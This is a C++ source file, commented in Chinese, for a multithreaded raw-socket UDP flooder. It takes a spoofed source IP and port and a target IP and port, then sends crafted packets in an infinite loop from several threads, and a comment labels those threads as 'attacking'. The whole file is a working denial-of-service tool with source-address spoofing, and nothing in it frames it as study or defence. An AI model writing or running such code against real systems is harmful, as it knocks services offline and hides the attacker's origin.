
/**
 * @file ip_udp_send.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <cmdline.h>
#include <thread>
#include <map>
#include <random>
#include <signal.h>

std::map<int, std::thread*> thread_list{};

/* ip首部长度 */
#define IP_HEADER_LEN sizeof(struct ip)
/* udp首部长度 */
#define UDP_HEADER_LEN sizeof(struct udphdr)
/* ip首部 + udp首部长度 */
#define IP_UDP_HEADER_LEN IP_HEADER_LEN + UDP_HEADER_LEN

void err_exit(const char *err_msg)
{
    perror(err_msg);
    pthread_exit(nullptr);
}

/* 填充ip首部 */
struct ip *fill_ip_header(const char *src_ip, const char *dst_ip, int ip_packet_len)
{
    struct ip *ip_header;

    ip_header = (struct ip *)malloc(IP_HEADER_LEN);
    ip_header->ip_v = IPVERSION;
    ip_header->ip_hl = IP_HEADER_LEN / 4;
    ip_header->ip_tos = 0;
    ip_header->ip_len = htons(ip_packet_len);
    ip_header->ip_id = 0;
    ip_header->ip_off = 0;
    ip_header->ip_ttl = MAXTTL;
    ip_header->ip_p = IPPROTO_UDP;        /* 这里是UDP */
    ip_header->ip_sum = 0;
    ip_header->ip_src.s_addr = inet_addr(src_ip);
    ip_header->ip_dst.s_addr = inet_addr(dst_ip);

    return ip_header;
}

/* 填充udp首部 */
struct udphdr *fill_udp_header(int src_port, int dst_port, int udp_packet_len)
{
    struct udphdr *udp_header;

    udp_header = (struct udphdr *)malloc(UDP_HEADER_LEN);
    udp_header->source = htons(src_port);
    udp_header->dest = htons(dst_port);
    /* 这里的长度是整个UDP报文 */
    udp_header->len = htons(udp_packet_len);
    udp_header->check = 0;

    return udp_header;
}

void ip_udp_send(const char *src_ip, int src_port, const char *dst_ip, int dst_port, int data_len, int t_id)
{
    struct ip *ip_header;
    struct udphdr *udp_header;
    struct sockaddr_in dst_addr;
    socklen_t sock_addrlen = sizeof(struct sockaddr_in);
    
    char *data = (char *)malloc(sizeof(char)*data_len);
    
    int ip_packet_len = IP_UDP_HEADER_LEN + data_len;
    int udp_packet_len = UDP_HEADER_LEN + data_len;
    char buf[ip_packet_len];
    int sockfd, ret_len, on = 1;
    
    bzero(&dst_addr, sock_addrlen);
    dst_addr.sin_family = PF_INET;
    dst_addr.sin_addr.s_addr = inet_addr(dst_ip);
    dst_addr.sin_port = htons(dst_port);
    
    /* 创建udp原始套接字 */
    if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
        err_exit("socket()");
    
    /* 开启IP_HDRINCL，自定义IP首部 */
    if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1)
        err_exit("setsockopt()");
    
    /* ip首部 */
    ip_header = fill_ip_header(src_ip, dst_ip, ip_packet_len);
    /* udp首部 */
    udp_header = fill_udp_header(src_port, dst_port, udp_packet_len);
    
    bzero(buf, ip_packet_len);
    memcpy(buf, ip_header, IP_HEADER_LEN);
    memcpy(buf + IP_HEADER_LEN, udp_header, UDP_HEADER_LEN);
    memcpy(buf + IP_UDP_HEADER_LEN, data, data_len);
    
    std::mt19937 rng;
    rng.seed( std::random_device()() );
    std::uniform_int_distribution<std::mt19937::result_type> dist6( 0, data_len - 1 );
    
    while(true)
    {
        /* 发送报文 */
        ret_len = sendto(sockfd, buf, ip_packet_len, 0, (struct sockaddr *)&dst_addr, sock_addrlen);
        if (ret_len <= 0) {
            std::cout << "Send UDP package failed." << std::endl;
            close(sockfd);
            free(ip_header);
            free(udp_header);
            pthread_exit( nullptr);
        }
    }

}

int main(int argc, char *argv[])
{
    
    cmdline::parser p;
    p.add<std::string>("src-ip", 's', "来源IP", true);
    p.add<int>("src-port", 't', "来源端口", true);
    p.add<std::string>("dest-ip", 'd', "目标IP", true);
    p.add<int>("dest-port", 'g', "目标端口", true);
    p.add<int>("data", 'c', "每次发送数据大小，默认每次200字节", false, 200);
    p.add<int>("number", 'n', "启动线程数目，默认2个线程", false, 2);
    
    p.parse_check(argc, argv);
    
    auto src_ip = p.get<std::string>("src-ip");
    auto src_port = p.get<int>("src-port");
    auto dest_ip = p.get<std::string>("dest-ip");
    auto dest_port = p.get<int>("dest-port");
    auto data = p.get<int>("data");
    auto number = p.get<int>("number");
    if (number <=  0) {
        perror("线程数目不能不存在!");
        exit(EXIT_SUCCESS);
    }
    
    // signal
    signal(SIGPIPE, SIG_IGN);
    
    // start thread for attacking.
    for ( int i = 0; i < number; ++i ) {
        thread_list.insert(
            std::make_pair(
                i,
                new std::thread(ip_udp_send, src_ip.c_str(), src_port, dest_ip.c_str(), dest_port, data, i)
            )
        );
    }
    for ( auto &t: thread_list) {
        if ( t.second->joinable() ) {
            t.second->join();
        }
    }
    return 0;
}